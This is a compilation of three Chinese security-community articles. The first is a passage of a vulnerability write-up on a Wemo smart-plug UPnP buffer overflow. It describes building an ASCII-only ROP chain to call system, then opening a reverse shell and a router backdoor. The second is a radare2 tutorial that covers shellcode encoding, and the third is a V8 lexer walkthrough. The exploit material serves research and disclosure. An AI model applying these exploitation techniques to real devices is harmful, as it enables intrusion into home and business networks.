因为崩溃是由UPnP数据包引起的，所以在这个库中找到崩溃是合乎逻辑的。在基地址0x2abf3000下，我们计算出IDA中静态分析的偏移量为0x22b98。在这个地址，我们发现：
LOAD:00022B70 # =============== S U B R O U T I N E =======================================
LOAD:00022B70
LOAD:00022B70
LOAD:00022B70 .globl TokenParser
LOAD:00022B70 TokenParser: # CODE XREF: ProcessEnergyPerunitCostNotify+84↓p
LOAD:00022B70 # DATA XREF: LOAD:00004210↑o …
LOAD:00022B70 beqz $a1, locret_22BC0
LOAD:00022B74 move $a3, $zero
LOAD:00022B78 move $a3, $zero
LOAD:00022B7C b loc_22BB4
LOAD:00022B80 li $t0, 0x7C # ‘|’
LOAD:00022B84 # —————————————————————————
LOAD:00022B84
LOAD:00022B84 loc_22B84: # CODE XREF: TokenParser+28↓j
LOAD:00022B84 addiu $a1, 1
LOAD:00022B88 addiu $v1, 1
LOAD:00022B8C
LOAD:00022B8C loc_22B8C: # CODE XREF: TokenParser+48↓j
LOAD:00022B8C lb $v0, 0($a1)
LOAD:00022B90 beql $v0, $t0, loc_22BA4
LOAD:00022B94 sb $zero, 0($v1)
LOAD:00022B98 bnezl $v0, loc_22B84
LOAD:00022B9C sb $v0, 0($v1)
LOAD:00022BA0 sb $zero, 0($v1)
LOAD:00022BA4
LOAD:00022BA4 loc_22BA4: # CODE XREF: TokenParser+20↑j
LOAD:00022BA4 beqz $a1, locret_22BC0
LOAD:00022BA8 addiu $a0, 4
LOAD:00022BAC addiu $a1, 1
LOAD:00022BB0 addiu $a3, 1
LOAD:00022BB4
LOAD:00022BB4 loc_22BB4: # CODE XREF: TokenParser+C↑j
LOAD:00022BB4 slt $v0, $a3, $a2
LOAD:00022BB8 bnezl $v0, loc_22B8C
LOAD:00022BBC lw $v1, 0($a0)
LOAD:00022BC0
LOAD:00022BC0 locret_22BC0: # CODE XREF: TokenParser↑j
LOAD:00022BC0 # TokenParser:loc_22BA4↑j
LOAD:00022BC0 jr $ra
LOAD:00022BC4 move $v0, $a3
LOAD:00022BC4 # End of function TokenParser
因为开发人员没有对二进制文件进行处理，所以我们可以把这个函数命名为TokenParser。段错误发生在分支语句上；但是在MIPS中，延迟指令是在分支发生之前执行的。所以0x22B9C上的指令导致了崩溃。在这里，应用程序尝试加载存储在$v1中的地址，并把它放到$v0中。查看寄存器，我们发现XML标记“EnergyPeritCostVersion”中数据包的数据以$v1为单位，导致了“invalid
write access”段错误。
在静态分析该函数之后，它似乎把数据从一个部分复制到另一个部分，而且三次查找0x7C或“”字符。如果没有找到“”，它就会继续复制到静态定义的缓冲区中。为了充分理解为什么会发生覆盖，让我们在遍历函数时查看堆栈：
2EF17630 2AC692F0 MEMORY:2AC692F0
2EF17634 00000000 MEMORY:saved_fp
2EF17638 34333231 MEMORY:34333231 ← 之前复制的数据
2EF1763C 00000035 MEMORY:retaddr+31 ← 下一字节将被写到0x2EF1763D
2EF17640 00000000 MEMORY:saved_fp ← 复制前先清零
2EF17644 00000000 MEMORY:saved_fp
2EF17648 00000000 MEMORY:saved_fp
2EF1764C 00000000 MEMORY:saved_fp
2EF17650 2EF17638 MEMORY:2EF17638 ← 开始写入; 可能被覆盖
当函数将数据复制到堆栈时，它最终会复制原始缓冲区的地址。一旦这个地址被覆盖，函数将尝试在新值处写入下一个字节，在本例中为无效地址。这个溢出为攻击者提供了两个可利用的向量：write-what-where条件使得攻击者能在内存的任意位置中写入数据；通过继续覆盖堆栈上的数据，攻击者可以覆盖调用函数的$RA寄存器或返回地址，从而控制执行流。
## 编写利用代码
现在我们了解了这个漏洞，我们能利用它吗？因为这是一个标准的缓冲区溢出，我们需要回答两个问题。堆栈上有多少可用空间，是否存在无法放到堆栈上的“坏”字节？为了确定可用的空间，如果我们用有效地址修复覆盖在堆栈上的地址，就可以检查有多少payload使其进入堆栈。我们了解到只有91个字节可以写入堆栈。
下一步是确定是否存在“坏”字节。经过几次测试，我们注意到只有ASCII字符才能进入堆栈。在执行易受攻击的代码之前，数据包将由开源xml解析器“mxml”解析。这个库遵循在标记之间只允许存在ASCII和Unicode字符的标准。
这个标准对于shellcode和ROP技术都是非常困难的，因为内存地址和shellcode都倾向于使用大多数不可读的字符。我们可以使用几种技术来消除堆栈上的空间；但是由于通过XML对字符的严格限制，最好使用已经加载到内存中的函数。一种不需要大量shellcode的方法是使用“return
to
libc”攻击来执行系统命令。因为系统调用通常以字符串作为参数，这可能通过筛选器。因为WEMO不使用ASLR(地址空间布局随机化)，如果我们使用ROP，理论上可以调用系统而不需要通过XML过滤器传递额外的shellcode。
还有一个重大挑战：只有完全包含ASCII字符的地址才能通过XML过滤器。这极大地限制了可用工具的范围。我们使用IDA查看libc和system加载到内存中的位置，发现：libuClibc-0.9.33.2.so在地址0x2B0C0FD4；libpthread-0.9.33.2.so在地址0x2AD104F4。但是，这两个地址都不满足通过XML过滤器的要求。因此，即使我们能够创建一个ROP链，我们也不能只发送数据包中系统的地址。
具有非法字符的地址不是利用开发的新问题。最常见的绕过技术之一是使用加法或减法ROP
gadget在寄存器中创建所需的地址并调用该寄存器。但是，由于XML过滤器，我们还面临着操作数可以用于这个加减方程的限制。
在研究了内存布局之后，我们发现libuClibc-0.9.33.2.so位于一个具有可以绕过XML过滤器的地址。我们很幸运，这是一个大型库，提供了一个不错的地址列表，因为它是这一空间中的唯一库。有了这一发现，我们的团队创建了一个工具来帮助创建此漏洞。这个工具提取具有可用内存地址的所有可能的ROP
garget，并确定只使用能绕过筛选器的值，加法或减法等式是否可以调用内存中找到的两个系统调用之一。libuClibc-0.9.33.2.so的系统地址0x2B0C0FD4中没有任何可用的操作数。但是0x2AD104F4有，我们找到了几个操作数，当它们加在一起时，等于0x2AD104F4。
我们将工具的输出用于所有可能的ROP
garget，这些garget绕过过滤器构建ROP链，使用加法指令为系统创建最终地址，并将其存储在$S0中。加法指令之后，另一个garget将系统地址移动到$t9并调用system。最后一个garget还将可以从堆栈控制的地址移动到寄存器中，保存系统调用的参数。整个ROP链仅由三个garget组成，它们很容易适应缓冲区溢出提供的堆栈空间。
## 组合所有东西
更早的时候，我们发现了两种攻击技术，它们可以和这个漏洞一起使用：write-what-where，以及覆盖堆栈上的返回地址。每种技术每个发送的数据包都可以使用一次。要获得一个参数到系统调用，我们必须使用write-what-where在一个可写内存地址放置参数，并将这个地址传递给系统。幸运的是，这个易受攻击的应用留出了大量从未使用的可写内存，并且在一个可以绕过筛选器的有限地址集可以访问的范围内。不幸的是，调用系统的ROP链要求在ROP
garget中使用write-what-where来处理额外的指令。这意味着执行该漏洞需要两个数据包：一个将系统参数写入内存，另一个将调用系统。因此，重要的是，第一个数据包完全退出而不使程序崩溃。
一种方法是在payload内使用三个“|”，以便在适当的时间停止写入和退出TokenParser。还有同样重要的是，不要覆盖RA指针，这样程序可以在接收到数据包后继续正常执行。然后发送包含ROP链调用系统的第二分组，其中包含由前一个分组写入的参数的地址。
## Payload
发现能够调用系统的有效ROP链后，我们必须决定应该调用哪个系统。因为具有系统根权限，所以我们可以获得对设备的完全控制。我们的研究表明设备安装了许多Linux命令。我们在前面的wget中利用这一点将gdbserver复制到设备上。攻击者还可以从系统调用wget来下载和执行任何脚本。我们还探索了安装的应用，找到了Netcat，它允许攻击者编写脚本来创建反向shell。攻击者可以使用wget下载脚本，并执行包含Netcat命令的脚本来创建反向shell。我们测试并证明了这是一个打开一个反向shell的简单有效的方法。攻击者还可以选择其他许多方法来利用这个漏洞并执行代码。下面的视频演示了这个漏洞如何使用反向shell。
视频地址（失效请看原博）：<https://players.brightcove.net/abf28780-a231-4e92-bedf-6e0fca7e9eea>
作为演示，团队编写了一个攻击场景。在插座被破坏后，它可以使用内置的UPnP库在网络路由器上插入一个后门。这个漏洞为攻击者创建了一个后门通道用于远程连接，而网络上却没有注意到这一点。在下面的视频中，我们使用一个远程shell来控制连接到网络的TCL智能电视。电视的Roku
API使用简单的未加密的HTTP
GET/POST请求来发送命令，并且不对发送这些命令的机器进行身份验证，这使得远程控制变得非常容易。利用Wemo作为中间人，攻击者可以打开或关闭电视，安装或卸载应用，并访问任意在线内容。这只是使用WEMO攻击另一个设备的一个例子。由于攻击者已在网络上站稳脚跟并能够打开任意端口，任何连接到这个网络的计算机都将面临风险。由于可以通过WEMO进行攻击，并且使用此漏洞生成的端口映射在路由器的管理页面中不可见，因此很难检测到攻击者。
演示视频（失效请看原博）：<https://players.brightcove.net/998394be-ef12-4056-a25f-6b8e644d945c>
## 结论
诸如CVE-2018-6692这样的发现证明了在所有设备上进行安全编码实践的重要性。从安全的角度来看，物联网设备经常被忽视；这可能是因为许多设备被用于看似无害的目的，例如简单的家庭自动化。然而，这些设备运行操作系统，需要与桌面计算机一样多的保护。我们发现的漏洞可能成为攻击者需要进入并危及整个业务网络的立足点。
McAfee高级威胁研究小组的一个目标是识别和阐明当今复杂和不断发展的环境中的广泛威胁。通过分析和负责任的披露，我们的目标是指导产品制造商走向更全面的安全态势。 | 社区文章 |
### 前言
`radare2` 最近越来越流行，已经进入 `github` 前 25了，看到大佬们纷纷推荐，为了紧跟时代潮流，我也决定探究探究这款 `神器`
。下面画画重点，以便以后需要用了，可以方便查找。
### 正文
首先是安装 `radare2` ,直接去官方 `github` 安照指示安装即可。先把源代码下载下来
https://github.com/radare/radare2
然后进入源码目录，执行
sys/install.sh
`radare2` 支持各种各样的平台，文件格式，具体可以看官网描述。它有很多各组件分别进行不同的工作。这些组件是：
* rax2 ---------> 用于数值转换
* rasm2 -------> 反汇编和汇编
* rabin2 -------> 查看文件格式
* radiff2 ------> 对文件进行 diff
* ragg2/ragg2cc ------> 用于更方便的生成shellcode
* rahash2 ------> 各种密码算法， hash算法
* radare2 ------> 整合了上面的工具
### rax2
数值转换，程序的 `help` 菜单很明确了:
比如输入`rax2 -s 414141` ,会返回 `AAAA`
### rabin2
对各种文件格式进行解析。
`rabin2 -I hello_pwn` 显示文件的信息
使用 `-l` 显示依赖库。
使用 `-zz` 显示字符串信息，可以显示 `utf-8` 等宽字节字符串。
可以看到显示了长度，所在位置等信息。
通过使用 `-O` 选项可以修改一些文件的信息。
haclh@ubuntu:~$ rabin2 -O?
Operation string:
Change Entrypoint: e/0x8048000
Dump Symbols: d/s/1024
Dump Section: d/S/.text
Resize Section: r/.data/1024
Remove RPATH: R
Add Library: a/l/libfoo.dylib
Change Permissions: p/.data/rwx
Show LDID entitlements: C
比如修改 `section` 的属性
haclh@ubuntu:~$ rabin2 -S a.out | grep text
idx=14 vaddr=0x00400430 paddr=0x00000430 sz=386 vsz=386 perm=--rwx name=.text
haclh@ubuntu:~$ rabin2 -O p/.text/r a.out
wx 02 @ 0x1d60
haclh@ubuntu:~$ rabin2 -S a.out | grep text
idx=14 vaddr=0x00400430 paddr=0x00000430 sz=386 vsz=386 perm=--r-- name=.text
### rasm2
这个工具用于进行各种平台的汇编和反汇编。该工具的主要选项有。
-a 设置汇编和反汇编的架构（比如x86,mips, arm...）
-L 列举支持的架构。
-b 设置 位数
-d，-D 反汇编 提供的 16进制字符串。
使用示例：
首先列举支持的架构（使用 `head` 只列举前面几项）
haclh@ubuntu:~$ rasm2 -L | head
_dAe 8 16 6502 LGPL3 6502/NES/C64/Tamagotchi/T-1000 CPU
_dA_ 8 8051 PD 8051 Intel CPU
_dA_ 16 32 arc GPL3 Argonaut RISC Core
a___ 16 32 64 arm.as LGPL3 as ARM Assembler (use ARM_AS environment)
adAe 16 32 64 arm BSD Capstone ARM disassembler
_dA_ 16 32 64 arm.gnu GPL3 Acorn RISC Machine CPU
_d__ 16 32 arm.winedbg LGPL2 WineDBG's ARM disassembler
adAe 8 16 avr GPL AVR Atmel
adAe 16 32 64 bf LGPL3 Brainfuck (by pancake, nibble) v4.0.0
_dA_ 16 cr16 LGPL3 cr16 disassembly plugin
使用 `arm` 插件，汇编 三条 `nop` 指令
haclh@ubuntu:~$ rasm2 -a arm "nop;nop;nop;"
0000a0e10000a0e10000a0e1
然后我们使用 `-d` 把它反汇编出来
haclh@ubuntu:~$ rasm2 -a arm -d 0000a0e10000a0e10000a0e1
mov r0, r0
mov r0, r0
mov r0, r0
我可以在命令后面加上 `-r` 打印出在 `radare2`中实现对应的功能，需要使用的命令( `wa`
命令的作用是，汇编给出的指令，并把汇编得到的数据写到相应位置，默认是当前位置)。
haclh@ubuntu:~$ rasm2 -a arm -d 0000a0e10000a0e10000a0e1 -r
e asm.arch=arm
e asm.bits=32
"wa mov r0, r0;mov r0, r0;mov r0, r0;"
### ragg2/ragg2·cc
`radare2` 自己实现的 c 编译器，可以方便的写`shellcode` .
示例一：
代码如下
int main() { write (1,"hi\n", 3); exit(0); }
使用下面的命令，把它编译成x86 32位代码：
`ragg2-cc -a x86 -b 32 -d -o test test.c`
可以生成正常的 `elf` 文件用于测试，可以使用 `-c` 只编译出 `shellcode`
生成的 `shellcode` 存在于 `test.c.text` 文件里面，下面是用 `radare2` 反汇编得到的代码，可以看到使用了
系统调用来实现代码的功能。
使用 `ragg2-cc` 生成的 `shellcode` 可以使用 `ragg2`中的 `xor` 编码器来编码字符，绕过一些字符限制，比如
`\x00`。
首先生成`shellcode` 的16进制表示。
ragg2-cc -a x86 -b 32 -d -x test.c
然后使用 `rasm2` 验证下
代码和上面的是一样的。
然后使用 `ragg2` 使用 `xor` 编码器编码 `shellcode`
就是在 `shellcode` 执行前使用 `xor` 指令把`shellcode` 还原。这样就可以消除掉一些坏字符。
`ragg2` 也有自己 编写 `shellcode` 的语法。下面是一个示例，具体请看官方文档。
使用这种方式，我们就能使用最接近 `汇编` 的类c语言 来编写跨平台 `shellcode`
### rahash2
用于使用加密算法，hash算法等计算值
使用`-L` 可以列举支持的算法，比如算算 md5
haclh@ubuntu:~$ rahash2 -a md5 -s admin
0x00000000-0x00000004 md5: 21232f297a57a5a743894a0e4a801fc3
### radare2
最常用的工具了。整合了上面所有的工具。直接使用 `r2 target_bin` 进入程序。使用`-d` 选项进入调试模式。
`radare2` 中的命令格式为
[.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ;
`px`表示打印16进制数，默认从当前位置开始。参数控制打印的字节数，下面这张图应该就可以大概解释上面的格式了。
`@ addr` 表示该命令从 `addr` 开始执行。`addr` 不一定是 地址也可以是 `radare2` 中识别的符号，比如 `main`
还有一个重要的东西要记得，在命令的后面加个 `?` ，就可以查看帮助。直接输入`?` 可以查看所有的命令。
下面按照我们在 `ida` 中使用的功能，来介绍 `radare2`
首先在 用 `ida` 分析程序时，在 `ida` 加载程序后默认会对程序进行分析。`radare2` 相应的功能是以 `a` 开头的。
注释很简明了。我们使用 `aaa` 就可以进行完整分析了。
分析前 `radare2` 识别不了函数，分析后就可以正常打印函数代码了（`pdf` 打印函数代码）
有时候我们不需要分析整个 二进制文件，或者有个函数 `radare2`没有识别出来我们可以 `af` 来分析该函数。
我们可以使用 `s` 跳转到想要跳转的位置。
跳转到 `main` 函数，并 定义该函数，然后打印函数代码
`pd` 类命令用于打印汇编信息。
具体看帮助。
* 使用 `VV` 进入 图形化模式（需要是函数范围内）。
* 在图形化模式下，输入 `?` 可以查看图形化模式的帮助。
* 使用 `hjkl` 来移动图形
* 使用 `p/P` 切换图形模式
* 在图形模式下使用 `:` 可以输入`radare2` 命令
* 输入 `!` ， 在调试的时候应该很有用
* 使用 空格 ，切换图形模式和文本模式
* 在文本模式模式下也可以使用 `p` 来切换视图。
剩下的看帮助。
下面介绍如何使用 `radare2` patch程序。首先需要在打开文件时使用 `r2 -w` 来以可写模式打开文件，这样 `pathch` 才能应用到文件
( 或者在 `radare2` 下使用 `e io.cache=true`, 来允许进行 `patch`, 不过这样的话文件的修改不会影响原文件 )
`w` 系列命令用于修改文件。
使用 `wa` 可以使用 汇编指令进行 `patch`
使用 `"wa nop;nop;nop;nop;"` 可以同时写入多条指令。
`双引号不能省`
或者可以使用 `wx` 写入 16进制数据
其他的请看 `w?` ，查看帮助。
还可以 `可视化汇编/patch` 程序
输入 `Vp` ，然后输入 `A`, 就可以了。
使用 `/` 系列命令可以搜索字符串， rop gadgets等
查询字符串交叉引用可以依次使用下列方法。
`ax?` 系列命令用于管理交叉引用。 `/r` 可以搜索交叉引用, `aae` 是使用`radare2`中的模拟执行功能，动态的检测交叉引用。
**下面画重点**
`radare2`中其实也是有 `反编译功能`, 使用 `pdc` 就可以查看伪代码，虽然和 `ida` 的还有很大的差距，但是在一些 `ida` 不支持
`f5` 的情况下这个功能还是不错的，可以用来看程序的大概逻辑。
在图形化模式下，按下 `$` 看看，有惊喜。
帮我们解析汇编指令，用 c 代码的格式来显示。妈妈再也不用担心我不会汇编了。
`radare2`和 `ida` 相比还有一个最大的优势，那就是它自带模拟执行功能。它使用了一种 `esil`
语言，来定义程序的行为，并且可以根据这个来模拟执行程序代码。
`ESIL` 的具体语法可以去看官方文档。下面列举两个示例：
mov ecx, ebx -> ebx,ecx,=
add ebx, edi ->edi,ebx,+=,$o,of,=,$s,sf,=,$z,zf,=,$c31,cf,=,$p,
可以使用 `e asm.esil = true`显示 `esil` 代码
和 `ESIL`相关的命令是
`ae?`这一类指令。这个我也不熟悉，大概的用法是，使用 `ae?`这一类指令设置好
指令执行虚拟机的状态，然后设置好模拟执行的终止状态，在停止时，做一些操作，主要用于解密字符串，脱壳等等。
具体事例可以看：
<https://blog.xpnsec.com/radare2-using-emulation-to-unpack-metasploit-encoders/>
此外 `radare2`还支持各种语言对他进行调用， 以及拥有大量的插件。
### 总结
`radare2`还是很强大的，特别是全平台反编译，全平台模拟执行，各种文件的patch, 修改。感觉在 ida 没法 `f5`的平台上首选
`radare2`
参考：
<http://radare.org/r/talks.html>
<https://github.com/radare/radare2book>
<https://codeload.github.com/radareorg/r2con/> | 社区文章 |
# 连载《Chrome V8 原理讲解》第四篇 V8词法分析源码讲解，Token字生成
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本篇内容
本次是第四篇，以“测试样例代码”为V8的输入，跟随样例代码在词法分析(scanner)阶段的处理过程,剖析V8词法分析的源码实现。本文通过讲解样例代码中前两个token字（`function`、`JsPrint`）的生成过程，将V8词法分析的核心源码、主要工作流程以及重要数据结构呈现给大家。
## 测试样例代码
**注意：** 测试代码语法简单，因此不会覆盖词法分析的全部流程。token字的生成过程是自动机，由`switch
case`实现，“不能全覆盖”是指测试代码不会触发所有的case条件，但这不会影响我们的学习，原理详见上一篇文章。
function JsPrint(a){
if(a >5){
return "Debug";
}
}
console.log(JsPrint(6));
## 词法分析概述
谈及词法分析时，有三个重要的术语需要知道，词法单元（token）、模式描述（pattern）、词素（lexeme）。词法分析的工作流程是先找到一个词法单元，再找这个词法单元的所有的可选属性—模式描述和词素的组合，循环往复去找下一个词法单元，详细说明见上一篇文章。
## 1.扫描词法单元function和JsPrint
ScanSingleToken()，这个方法是扫描token字的入口。`c0_`在初始化阶段已经指向了源代码的第一个字符(初始化流程，见上篇文章)，在本文的样例代码中，它代表“f”。
V8_INLINE Token::Value Scanner::ScanSingleToken() {
Token::Value token;
do {
next().location.beg_pos = source_pos();
if (V8_LIKELY(static_cast<unsigned>(c0_) <= kMaxAscii)) {
token = one_char_tokens[c0_];
switch (token) {
case Token::LPAREN:
case Token::RPAREN:
case Token::LBRACE:
case Token::RBRACE:
case Token::LBRACK:
case Token::RBRACK:
case Token::COLON:
case Token::SEMICOLON:
case Token::COMMA:
case Token::BIT_NOT:
case Token::ILLEGAL:
// One character tokens.
return Select(token);
case Token::CONDITIONAL:
// ? ?. ?? ??=
Advance();
if (c0_ == '.') {
Advance();
if (!IsDecimalDigit(c0_)) return Token::QUESTION_PERIOD;
PushBack('.');
} else if (c0_ == '?') {
return Select('=', Token::ASSIGN_NULLISH, Token::NULLISH);
}
return Token::CONDITIONAL;
case Token::STRING:
return ScanString();
case Token::LT:
// < <= << <<= <!-- Advance();
if (c0_ == '=') return Select(Token::LTE);
if (c0_ == '<') return Select('=', Token::ASSIGN_SHL, Token::SHL);
if (c0_ == '!') {
token = ScanHtmlComment();
continue;
}
return Token::LT;
case Token::GT:
// > >= >> >>= >>> >>>=
Advance();
if (c0_ == '=') return Select(Token::GTE);
if (c0_ == '>') {
// >> >>= >>> >>>=
Advance();
if (c0_ == '=') return Select(Token::ASSIGN_SAR);
if (c0_ == '>') return Select('=', Token::ASSIGN_SHR, Token::SHR);
return Token::SAR;
}
return Token::GT;
case Token::ASSIGN:
// = == === =>
Advance();
if (c0_ == '=') return Select('=', Token::EQ_STRICT, Token::EQ);
if (c0_ == '>') return Select(Token::ARROW);
return Token::ASSIGN;
case Token::NOT:
// ! != !==
Advance();
if (c0_ == '=') return Select('=', Token::NE_STRICT, Token::NE);
return Token::NOT;
//........................
//代码太多，省略....................
//........................
case Token::PERIOD:
// . Number
Advance();
if (IsDecimalDigit(c0_)) return ScanNumber(true);
if (c0_ == '.') {
if (Peek() == '.') {
Advance();
Advance();
return Token::ELLIPSIS;
}
}
return Token::PERIOD;
case Token::TEMPLATE_SPAN:
Advance();
return ScanTemplateSpan();
case Token::PRIVATE_NAME:
if (source_pos() == 0 && Peek() == '!') {
token = SkipSingleLineComment();
continue;
}
return ScanPrivateName();
case Token::WHITESPACE:
token = SkipWhiteSpace();
continue;
case Token::NUMBER:
return ScanNumber(false);
case Token::IDENTIFIER:
return ScanIdentifierOrKeyword();
default:
UNREACHABLE();
}
}
if (IsIdentifierStart(c0_) ||
(CombineSurrogatePair() && IsIdentifierStart(c0_))) {
return ScanIdentifierOrKeyword();
}
if (c0_ == kEndOfInput) {
return source_->has_parser_error() ? Token::ILLEGAL : Token::EOS;
}
token = SkipWhiteSpace();
// Continue scanning for tokens as long as we're just skipping whitespace.
} while (token == Token::WHITESPACE);
return token;
}
上面是`ScanSingleToken()`的源码，内容太多，仅保留了测试样例用到的代码，下面对代码中关键语句进行说明。
**(1)：**`if(V8_LIKELY(static_cast<unsigned>(c0_) <=
kMaxAscii))`判断`c0_`是不是Ascii，结果是为真(它是`f`)。
**(2)：**`token =
one_char_tokens[c0_];`这是取获取`c0_`的类型，上篇文章提到的“预定义模板”，说的就是`one_char_tokens`这样的数组，还有其它的宏定义(碰到时再讲)。下面看这个数组的定义：
constexpr Token::Value GetOneCharToken(char c) {
// clang-format off
return
c == '(' ? Token::LPAREN :
c == ')' ? Token::RPAREN :
//.....................
//代码太多，省略
//.....................
// IsDecimalDigit must be tested before IsAsciiIdentifier
IsDecimalDigit(c) ? Token::NUMBER :
IsAsciiIdentifier(c) ? Token::IDENTIFIER :
Token::ILLEGAL;
// clang-format on
}
//====分割线========================================================
#define INT_0_TO_127_LIST(V) \
V(0) V(1) V(2) V(3) V(4) V(5) V(6) V(7) V(8) V(9) \
V(10) V(11) V(12) V(13) V(14) V(15) V(16) V(17) V(18) V(19) \
V(20) V(21) V(22) V(23) V(24) V(25) V(26) V(27) V(28) V(29) \
V(30) V(31) V(32) V(33) V(34) V(35) V(36) V(37) V(38) V(39) \
V(40) V(41) V(42) V(43) V(44) V(45) V(46) V(47) V(48) V(49) \
V(50) V(51) V(52) V(53) V(54) V(55) V(56) V(57) V(58) V(59) \
V(60) V(61) V(62) V(63) V(64) V(65) V(66) V(67) V(68) V(69) \
V(70) V(71) V(72) V(73) V(74) V(75) V(76) V(77) V(78) V(79) \
V(80) V(81) V(82) V(83) V(84) V(85) V(86) V(87) V(88) V(89) \
V(90) V(91) V(92) V(93) V(94) V(95) V(96) V(97) V(98) V(99) \
V(100) V(101) V(102) V(103) V(104) V(105) V(106) V(107) V(108) V(109) \
V(110) V(111) V(112) V(113) V(114) V(115) V(116) V(117) V(118) V(119) \
V(120) V(121) V(122) V(123) V(124) V(125) V(126) V(127)
//====分割线========================================================
static const constexpr Token::Value one_char_tokens[128] = {
#define CALL_GET_SCAN_FLAGS(N) GetOneCharToken(N),
INT_0_TO_127_LIST(CALL_GET_SCAN_FLAGS)
#undef CALL_GET_SCAN_FLAGS
};
上面的代码，用“分割线”分成了三部分，这三部分实现了`one_char_tokens`数组的定义，`c0_`的值是`f`，它符合`IsAsciiIdentifier(c)`,所以它的类型是`Token::IDENTIFIER`。`IsAsciiIdentifier(c)`的源码如下：
inline constexpr bool IsAsciiIdentifier(base::uc32 c) {
return IsAlphaNumeric(c) || c == '$' || c == '_';
}
**(3):**
回到`ScanSingleToken()`方法。`c0_`的类型为`Token::IDENTIFIER`，所以进入`ScanIdentifierOrKeyword()`,在这个方法中调用了其它的几个方法，它们的作用是包装类之关的关系，图1给出了这些方法的函数调用堆栈，请读者自行调试跟踪，这里不详细说明。
在V8源码中找到相应的位置，下断点，使用样例代码即可还原图1的堆栈。
**(4):**`c0_`内容是`f`，下面要继续去找`f`后面的字符，需要存储`f`，`c0_`指向下一个字符，下面是存储方法的代码。
V8_INLINE void AddOneByteChar(byte one_byte_char) {//c0_是实参
DCHECK(is_one_byte());
if (position_ >= backing_store_.length()) ExpandBuffer();
backing_store_[position_] = one_byte_char;
position_ += kOneByteSize;
}
可以看到，`one_byte_char`就是`c0_`，存储到`backing_store_`中，图2给出了调式模式下`backing_store_`的值。
图2中可以看到`one_byte_char`和`backing_store_`都是`f`。下面开始下一个字符的分析流程。
AdvanceUntil([this, &scan_flags](base::uc32 c0) {
if (V8_UNLIKELY(static_cast<uint32_t>(c0) > kMaxAscii)) {
// A non-ascii character means we need to drop through to the slow
// path.
// TODO(leszeks): This would be most efficient as a goto to the slow
// path, check codegen and maybe use a bool instead.
scan_flags |=
static_cast<uint8_t>(ScanFlags::kIdentifierNeedsSlowPath);
return true;
}
uint8_t char_flags = character_scan_flags[c0];
scan_flags |= char_flags;
if (TerminatesLiteral(char_flags)) {
return true;
} else {
AddLiteralChar(static_cast<char>(c0));
return false;
}
});
上面这个`AdvanceUntil`方法会读取每个字符，至到它遇到一个终结符，图3给出了完成token字`function`分析后的存储信息。
图3中，最后的八个值正好是样例代码的第一个字符串`function`，现在已经得到了一个完整的token字，接下来要判断这个token是关键字或标识符，代码如下。
V8_INLINE Token::Value KeywordOrIdentifierToken(const uint8_t* input,
int input_length) {
DCHECK_GE(input_length, 1);
return PerfectKeywordHash::GetToken(reinterpret_cast<const char*>(input),
input_length);
}
//==============分割线，这是两段代码===============
inline Token::Value PerfectKeywordHash::GetToken(const char* str, int len) {
if (base::IsInRange(len, MIN_WORD_LENGTH, MAX_WORD_LENGTH)) {
unsigned int key = Hash(str, len) & 0x3f;
DCHECK_LT(key, arraysize(kPerfectKeywordLengthTable));
DCHECK_LT(key, arraysize(kPerfectKeywordHashTable));
if (len == kPerfectKeywordLengthTable[key]) {
const char* s = kPerfectKeywordHashTable[key].name;
while (*s != 0) {
if (*s++ != *str++) return Token::IDENTIFIER;
}
return kPerfectKeywordHashTable[key].value;
}
}
return Token::IDENTIFIER;
}
上面给出了两段代码，`GetToken`是判断关键字或标识的具体方法，其原理是预先定义hash表，通过查表确定token的类型，图4给出了这方法执行期间的成员信息。
在图4中可以看到，`kPerfectKeywordHashTable[key].value FUNCTION (76 'L') const
v8::internal::Token::Value`，与ECMA规范要求完全一致。
至此，token字`function`生成完毕，它的类型是`Token::FUNCTION`。token字`JsPrint`的生成过程与之类似，不再赘述，它的类型是`Token::IDENTIFIER`。
## 2.function和JsPrint之间的关系
在测试样例代码中，`function`定义函数，`JsPrint`是函数名，这是他们之间的关系。我们在词法分析器中可以看到如下代码：
ParserBase<Impl>::ParseHoistableDeclaration(
int pos, ParseFunctionFlags flags, ZonePtrList<const AstRawString>* names,
bool default_export) {
CheckStackOverflow();
DCHECK_IMPLIES((flags & ParseFunctionFlag::kIsAsync) != 0,
(flags & ParseFunctionFlag::kIsGenerator) == 0);
if ((flags & ParseFunctionFlag::kIsAsync) != 0 && Check(Token::MUL)) {
// Async generator
flags |= ParseFunctionFlag::kIsGenerator;
}
IdentifierT name;
FunctionNameValidity name_validity;
IdentifierT variable_name;
if (peek() == Token::LPAREN) {
if (default_export) {
impl()->GetDefaultStrings(&name, &variable_name);
name_validity = kSkipFunctionNameCheck;
} else {
ReportMessage(MessageTemplate::kMissingFunctionName);
return impl()->NullStatement();
}
} else {
bool is_strict_reserved = Token::IsStrictReservedWord(peek());
name = ParseIdentifier();
name_validity = is_strict_reserved ? kFunctionNameIsStrictReserved
: kFunctionNameValidityUnknown;
variable_name = name;
}
FuncNameInferrerState fni_state(&fni_);
impl()->PushEnclosingName(name);
FunctionKind function_kind = FunctionKindFor(flags);
FunctionLiteralT function = impl()->ParseFunctionLiteral(
name, scanner()->location(), name_validity, function_kind, pos,
FunctionSyntaxKind::kDeclaration, language_mode(), nullptr);
//省略很多.......
//.........
上面的代码是对这两个token进行语法分析(parser)，我们明确一点，词法分析(scanner)只负责识别token，它们之间的关系是由语法分析负责识别。
typename ParserBase<Impl>::IdentifierT ParserBase<Impl>::ParseIdentifier(
FunctionKind function_kind) {
Token::Value next = Next();
if (!Token::IsValidIdentifier(
next, language_mode(), IsGeneratorFunction(function_kind),
flags().is_module() ||
IsAwaitAsIdentifierDisallowed(function_kind))) {
ReportUnexpectedToken(next);
return impl()->EmptyIdentifierString();
}
return impl()->GetIdentifier();
}
在ParserBase<Impl>::ParseHoistableDeclaration()中，会调用上面的这个方法，在目前，`ParseIdentifier`方法是对`function`和`JsPrint`的分析，它又会引导我们进入下面的符号表(symbol)方法。
V8_INLINE const AstRawString* GetSymbol() const {
const AstRawString* result = scanner()->CurrentSymbol(ast_value_factory());
DCHECK_NOT_NULL(result);
return result;
}
在符号表中，程序源代码中的每个标识符都和它的声明或使用信息绑定在一起，`JsPrint`是用`function`定义的一个函数名，所以它两要在符号表中绑定。图5给出了进入符号表时的调用堆栈。
正是因为有符号表的存在，我们在调试程序时才能够看到源代码，它是编译阶段生成的数据结构，准确地说符号表在词法分析阶段生成，在语法分析阶段完善和补充。
